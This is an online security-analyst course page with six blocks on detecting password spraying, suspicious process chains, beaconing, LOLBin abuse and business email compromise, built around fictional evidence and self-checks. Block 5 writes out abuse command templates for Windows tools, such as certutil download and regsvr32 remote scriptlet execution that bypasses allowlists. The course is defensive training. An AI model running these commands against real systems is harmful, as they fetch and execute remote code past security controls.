Start your lesson
Study the required lesson for each block, then take its short check. Guided exercises are optional. Required case practice within the blocks counts toward the readiness checklist, not lesson completion.
Your notesPrivate to you
Block 1 of 6Password spraying · Credential stuffing · Brute-force authentication attack · Impossible-travel indicator
Practice savedNext · 15 min
Password spraying · Credential stuffing · Brute-force authentication attack · Impossible-travel indicator
Practice savedNo provider lesson is assigned to this block. Study the ITForMe lesson below, then take the required check.
Required ITForMe lesson
Concept notes
Password spraying
Tries a small number of candidate passwords across many accounts to reduce repeated failures against any single account.
Credential stuffing
Attempts username and password pairs obtained elsewhere against another service, relying on users reusing credentials between systems.
Brute-force authentication attack
Makes many password guesses against a smaller set of accounts until a valid credential is found or controls stop the attempts.
Impossible-travel indicator
Flags sign-ins whose time and geographic distance are inconsistent with ordinary travel, while still requiring checks for proxies and shared egress.
Required block check · Block 1
Required for course progress · Pass with 3 of 4 correct
Block 2 of 6Suspicious process chain · Persistence indicator · Network beaconing · DNS tunneling indicator
Practice saved15 min
Suspicious process chain · Persistence indicator · Network beaconing · DNS tunneling indicator
Practice savedNo provider lesson is assigned to this block. Study the ITForMe lesson below, then take the required check.
Required ITForMe lesson
Concept notes
Suspicious process chain
Combines parent-child relationships, commands, file origin, signer, and timing to evaluate whether endpoint execution departs from expected behavior.
Persistence indicator
Shows a mechanism such as a scheduled task, service, or startup entry that can cause code to execute again later.
Network beaconing
Produces repeated outbound connections at a regular or near-regular interval, which can indicate automated command traffic but needs contextual validation.
DNS tunneling indicator
Uses unusual query volume, length, entropy, or record patterns suggesting that data may be encoded within DNS exchanges.
Required block check · Block 2
Required for course progress · Pass with 3 of 4 correct
Block 3 of 6Separate authentication attacks from user mistakes
Practice saved8 min
Separate authentication attacks from user mistakes
Practice savedRequired provider lesson
Study the lesson below before taking this block's check.
For this block: Read the introduction and Investigation steps: Investigate the suspicious IP address, Investigate suspicious activity after initial sign-in, and Investigate activity before attacks. Stop before Advanced queries. About 10 minutes; no Defender tenant is required for the reading. If you have already studied this lesson, you can go to the check.
Read the introduction and Investigation steps: Investigate the suspicious IP address, Investigate suspicious activity after initial sign-in, and Investigate activity before attacks. Stop before Advanced queries. About 10 minutes; no Defender tenant is required for the reading.
Provider links open in a new tab. Confirm what you studied when you return. Time on external sites is not recorded automatically.
Optional ITForMe notes and practice
Separate authentication attacks from user mistakes
By the end, you can
- Analyze supplied evidence for password-spray pattern.
- Analyze supplied evidence for suspicious-success context.
Authentication indicators gain meaning through distribution and sequence. Password spraying commonly tries a small set of passwords across many accounts; credential stuffing reuses username-password pairs; brute force concentrates repeated guesses on fewer accounts. A successful sign-in after failures deserves context, but failure volume alone is not proof of compromise.
Correlate account, source, device, application, result, and authentication method. A familiar managed device and completed phishing-resistant authentication can reduce suspicion, while a new unmanaged device, impossible travel, or legacy protocol can raise it. Preserve the raw events before disabling or resetting accounts.
Worked example
One source produces a single failed sign-in on each of 41 accounts, then a forty-second account succeeds through a legacy protocol.
- 09:00-09:04: 41 users fail BadPassword from 203.0.113.77
- 09:05: svc-reports succeeds from 203.0.113.77 using legacy-auth
- Baseline: svc-reports normally uses certificate auth from 10.40.0.0/16
One failure on each of 41 accounts from a single source, followed by an anomalous success, supports password spraying followed by likely account use. Sign-in logs record the result, not the password that was tried.
Block the source and legacy path, contain svc-reports, and verify new authentication attempts use the expected certificate method.
Reasoning self-check
One source produces a single failed sign-in on each of 41 accounts, then a forty-second account succeeds through a legacy protocol.
- 09:00-09:04: 41 users fail BadPassword from 203.0.113.77
- 09:05: svc-reports succeeds from 203.0.113.77 using legacy-auth
- Baseline: svc-reports normally uses certificate auth from 10.40.0.0/16
- Record a timestamped fact table from the supplied evidence.
- Test the two most plausible explanations against every observation.
- Choose a bounded defensive action and state the result that would confirm it worked.
Compare your reasoning
Expected answers
- Block the source and legacy path, contain svc-reports, and verify new authentication attempts use the expected certificate method.
- The conclusion cites at least two supplied observations and names one remaining uncertainty.
If you got stuck
- If the evidence conflicts, preserve both records and check clock, scope, and collection gaps before deciding.
- If no conclusion is supportable, request one specific log, capture, inventory fact, or controlled retest.
Compare your reasoning with the revealed answers if helpful. The block check below is required for course progress.
Required block check · Block 3
Required for course progress · Pass with 2 of 2 correct
Block 4 of 6Interpret endpoint and network indicators together
Practice saved18 min
Interpret endpoint and network indicators together
Practice savedNo provider lesson is assigned to this block. Study the ITForMe lesson below, then take the required check.
Required ITForMe lesson
Interpret endpoint and network indicators together
By the end, you can
- Analyze supplied evidence for multi-source indicator sequence.
- Analyze supplied evidence for indicator containment proof.
A single indicator rarely establishes malicious activity. A newly created scheduled task can be legitimate administration; encoded scripting can be deployment automation; a rare outbound destination can be a new vendor. Confidence rises when process ancestry, persistence, file origin, destination reputation, and timing form one coherent sequence.
Network indicators include unexpected beacon intervals, unusual protocols, DNS patterns, and data volume. Endpoint indicators include suspicious parent-child processes, credential access, unsigned binaries, and persistence changes. Correlation should preserve alternative explanations and distinguish observed facts from inference.
Worked example
A document reader spawns a script interpreter, writes an executable to a user-writable directory, creates a scheduled task, and the new process makes periodic outbound TLS connections.
- Process tree: reader.exe -> script.exe -> updater.exe
- Task event: UserUpdate runs updater.exe every 10 minutes
- Proxy: updater.exe sends 12 KB to 198.51.100.88 every 600 seconds
The unusual parent chain, persistence, and regular outbound interval form a stronger malicious sequence than any observation alone.
Isolate the endpoint, preserve process/task/proxy evidence, and expect the periodic connection to cease while approved business traffic remains available.
Reasoning self-check
A document reader spawns a script interpreter, writes an executable to a user-writable directory, creates a scheduled task, and the new process makes periodic outbound TLS connections.
- Process tree: reader.exe -> script.exe -> updater.exe
- Task event: UserUpdate runs updater.exe every 10 minutes
- Proxy: updater.exe sends 12 KB to 198.51.100.88 every 600 seconds
- Record a timestamped fact table from the supplied evidence.
- Test the two most plausible explanations against every observation.
- Choose a bounded defensive action and state the result that would confirm it worked.
Compare your reasoning
Expected answers
- Isolate the endpoint, preserve process/task/proxy evidence, and expect the periodic connection to cease while approved business traffic remains available.
- The conclusion cites at least two supplied observations and names one remaining uncertainty.
If you got stuck
- If the evidence conflicts, preserve both records and check clock, scope, and collection gaps before deciding.
- If no conclusion is supportable, request one specific log, capture, inventory fact, or controlled retest.
Compare your reasoning with the revealed answers if helpful. The block check below is required for course progress.
Work through the scenario
Use the case evidence to complete the tasks, then check objectives.
Guided: Correlate a suspicious archive launch
An engineering endpoint launches an archive tool after a document process. Use endpoint, identity, and storage evidence to bound the conclusion.
- SOC analystactor
- Correlated endpoint and identity timelinecontrol
- Engineering endpointresource
- analystinterpretsevidence
- evidencedescribesasset
Objectives
- Interpret the supplied evidence without overclaimingpending
- Choose the bounded evidence-supported actionpending
- Select evidence that verifies security and operational outcomepending
Evidence 1
EDR: document.exe -> helper.tmp -> archive.exe under svc-build.
Evidence 2
Identity: svc-build token issued from the same endpoint outside its job window.
Evidence 3
Storage: svc-build reads 280 restricted design objects; outbound transfer is not observed.
Fictional, disposable SOC evidence. No production system or external service is contacted.
Report an issue with this exercise
Required case practice
Required for the readiness checklist · Pass at 100%
Distinguish scanning from exploitation
A public API receives repeated traversal strings. Decide what the network and application results establish.
- SOC analystactor
- WAF and host evidencecontrol
- Public APIresource
- analystinterpretsevidence
- evidencedescribesasset
Objectives
- Interpret the supplied evidence without overclaimingpending
- Choose the bounded evidence-supported actionpending
- Select evidence that verifies security and operational outcomepending
Evidence 1
WAF: 63 traversal requests from one source; 61 blocked, 2 forwarded.
Evidence 2
Application: both forwarded requests return 404 with no file read event.
Evidence 3
Host audit: no child process, sensitive-file access, or new account during the window.
Fictional, disposable SOC evidence. No production system or external service is contacted.
Report an issue with this exercise
Required block check · Block 4
Required for course progress · Pass with 2 of 2 correct
Block 5 of 6Correlate network and host indicators
Practice saved9 min
Correlate network and host indicators
Practice savedNo provider lesson is assigned to this block. Study the ITForMe lesson below, then take the required check.
Required ITForMe lesson
Correlate network and host indicators
By the end, you can
- Explain and apply network indicator context.
- Explain and apply host indicator sequence.
One open port or administrative binary is not automatically malicious. Network analysis asks whether the device is owned, the port is expected, the peer is appropriate, and the sequence resembles discovery or transfer. Host analysis adds process ancestry, signer, command line, file activity, resource use, and user context.
LOLBins are legitimate operating-system tools that adversaries may abuse. Their evidentiary value comes from an unexpected parent, argument, account, destination, or timing. Exfiltration requires evidence of data selection and transfer; a large outbound flow is a lead until host or content evidence connects it to protected data.
Named Windows LOLBins and what each is abused for: certutil.exe downloads files (certutil -urlcache -f <url> <file>) and Base64-encodes or decodes them; bitsadmin.exe creates background transfer jobs that download or copy files; mshta.exe executes HTA files or inline VBScript and JScript; rundll32.exe runs an exported function from a DLL; regsvr32.exe fetches and runs a remote scriptlet (regsvr32 /s /n /u /i:<url> scrobj.dll), which can bypass application allowlists; wmic.exe starts processes locally or on remote hosts (wmic process call create). ATT&CK groups several of these under System Binary Proxy Execution (T1218). On Linux the same idea applies to curl, wget, bash, python, and cron. Suspicious signs are an Office or browser parent, a URL or encoded blob in the arguments, execution from a user-writable path, or an outbound connection from a binary that rarely makes one. Beaconing appears as connections to one destination at near-regular intervals with similar sizes; DNS tunneling appears as many long, random-looking subdomain queries to a single domain.
Worked example
An unmanaged mini-PC appears on a lab VLAN and queries 240 hosts before a managed workstation launches a signed archive tool.
- NAC: device owner unknown; 240 connection attempts to TCP 445
- EDR: spreadsheet app -> shell -> archive tool
- Flow: workstation sends 1.8 GB to a new external address
The rogue enumerator and the workstation process/transfer chain are separate high-priority leads; the signed tool does not erase suspicious lineage.
Quarantine the unknown device through the authorized NAC path, contain the workstation session, and preserve flow plus process/file evidence.
Reasoning self-check
A new kiosk appears on a guest VLAN and a signed compression utility starts under a document process on a staff laptop.
- Kiosk: scans 10.4.0.0/16 on ports absent from baseline
- Laptop: document -> shell -> signed compressor
- Flow: 900 MB leaves after archive creation
- Build a short evidence table that separates observations, supported conclusions, and remaining unknowns.
- Choose the authorized action that tests the leading conclusion with the least operational impact.
- Compare your decision and reopen condition with the expected results before continuing.
Compare your reasoning
Expected answers
- Investigate the kiosk as rogue enumeration and the laptop as a suspicious LOLBin/file-transfer chain; neither the port nor signed binary alone proves compromise.
- Reopen exfiltration scope if file-access evidence does not connect protected data to the archive or transfer.
If you got stuck
- If the answer depends on a product name alone, return to the actual evidence it produced.
- If no option can be falsified, name the missing record before choosing.
Compare your reasoning with the revealed answers if helpful. The block check below is required for course progress.
Required block check · Block 5
Required for course progress · Pass with 2 of 2 correct
Block 6 of 6Distinguish service, cloud, identity, and message abuse
Practice saved10 min
Distinguish service, cloud, identity, and message abuse
Practice savedNo provider lesson is assigned to this block. Study the ITForMe lesson below, then take the required check.
Required ITForMe lesson
Distinguish service, cloud, identity, and message abuse
By the end, you can
- Explain and apply service and cloud anomaly.
- Explain and apply social-engineering route.
- Explain and apply identity compromise signal.
- Explain and apply business email compromise.
Application errors, cloud scaling, and configuration changes can share a timestamp without sharing a cause. Analysts correlate the control-plane actor, changed object, deployment record, service health, and affected identity. Impossible travel can be a proxy artifact; a new token, unmanaged device, or privilege change makes it more actionable.
Typosquatting substitutes a confusingly similar registered name. URL shorteners hide the final route but are not malicious by definition. BEC is a workflow attack: the decisive evidence may be a lookalike reply address, altered mailbox rule, unusual payment request, or failed out-of-band confirmation rather than an attachment.
Worked example
A shortened benefits link precedes a new mailbox rule and a cloud API key creation while the employee appears to sign in from two countries.
- Expanded URL: beneflts.example rather than benefits.example
- Identity: second location is approved VPN egress; new unmanaged-device token remains
- Mail: rule forwards invoices externally; cloud audit shows API key created by that token
The VPN explains geography but not the unmanaged token, forwarding rule, or key creation; the typosquatted route connects the social lure to likely identity misuse.
Revoke the token and key, disable the forwarding rule, preserve identity/mail/cloud logs, and verify the employee through a known channel.
Reasoning self-check
A payroll clerk follows a shortened link, then an unmanaged token creates a payment rule and cloud role.
- Redirect: payr0ll.example imitates payroll.example
- Identity: impossible travel resolves to approved VPN, but token device is new
- Mail/cloud: payment forwarding rule and role grant share the token
- Build a short evidence table that separates observations, supported conclusions, and remaining unknowns.
- Choose the authorized action that tests the leading conclusion with the least operational impact.
- Compare your decision and reopen condition with the expected results before continuing.
Compare your reasoning
Expected answers
- Treat the redirect as a social lure, discount VPN-distorted travel, and correlate the unmanaged token with unauthorized mail and cloud actions as possible BEC/IAM compromise.
- Reopen the BEC conclusion if business verification authorized the rule and role through an independently confirmed channel.
If you got stuck
- If the answer depends on a product name alone, return to the actual evidence it produced.
- If no option can be falsified, name the missing record before choosing.
Compare your reasoning with the revealed answers if helpful. The block check below is required for course progress.
Required block check · Block 6
Required for course progress · Pass with 3 of 4 correct
Review this lesson
Use only this lesson's worked example and key concepts for a quick self-check.
- Restate the worked example in your own words.
- Name the lesson concepts that explain the result.
- Explain why the closest alternative does not fit.
Check the whole objective
This unlocks objective 1.2 for recall. The latest checkpoint needs 70% or higher; a lower result puts the lesson back near the front of your timeline.